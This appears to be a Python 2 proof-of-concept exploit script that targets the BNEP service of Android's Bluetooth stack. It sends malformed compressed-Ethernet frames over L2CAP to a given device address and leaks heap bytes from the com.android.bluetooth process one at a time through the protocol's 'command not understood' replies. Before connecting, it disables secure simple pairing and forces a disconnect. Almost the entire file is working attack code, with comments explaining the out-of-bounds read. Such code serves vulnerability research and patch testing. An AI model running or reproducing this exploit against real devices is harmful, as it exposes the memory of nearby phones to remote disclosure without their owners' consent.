66 lines
No EOL
2 KiB
Python
Executable file
66 lines
No EOL
2 KiB
Python
Executable file
import os
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import sys
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import struct
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import bluetooth
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BNEP_PSM = 15
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BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
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LEAK_ATTEMPTS = 20
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def leak(src_bdaddr, dst):
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bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
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bnep.settimeout(5)
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bnep.bind((src_bdaddr, 0))
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print 'Connecting to BNEP...'
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bnep.connect((dst, BNEP_PSM))
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bnep.settimeout(1)
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print 'Leaking bytes from the heap of com.android.bluetooth...'
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for i in range(LEAK_ATTEMPTS):
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# A byte from the heap at (p + controlled_length) will be leaked
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# if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
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# This BNEP packet can be seen in Wireshark with the following info:
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# "Compressed Ethernet+E - Type: unknown[Malformed packet]".
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# The response sent by bnep_send_command_not_understood() contains 3 bytes:
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# 0x01 (BNEP_FRAME_CONTROL) + 0x00 (BNEP_CONTROL_COMMAND_NOT_UNDERSTOOD) + leaked byte
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# 0x82 & 0x80 == 0x80 -> Extension flag = True. 0x82 & 0x7f == 0x2 -> type
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type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80
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# 0x80 -> ext -> we need to pass this check: !(ext & 0x7f)
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ext = 0x80
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# i -> length (the 'p' pointer is advanced by this length)
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bnep.send(struct.pack('<BBB', type_and_ext_present, ext, i))
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try:
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data = bnep.recv(3)
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except bluetooth.btcommon.BluetoothError:
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data = ''
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if data:
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print 'heap[p + 0x%02x] = 0x%02x' % (i, ord(data[-1]))
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else:
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print 'heap[p + 0x%02x] <= 6' % (i)
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print 'Closing connection.'
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bnep.close()
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def main(src_bdaddr, dst):
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os.system('hciconfig %s sspmode 0' % (src_bdaddr,))
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os.system('hcitool dc %s' % (dst,))
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leak(src_bdaddr, dst)
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if __name__ == '__main__':
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if len(sys.argv) < 3:
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print('Usage: python bnep01.py <src-bdaddr> <dst-bdaddr>')
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else:
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if os.getuid():
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print 'Error: This script must be run as root.'
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else:
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main(sys.argv[1], sys.argv[2]) |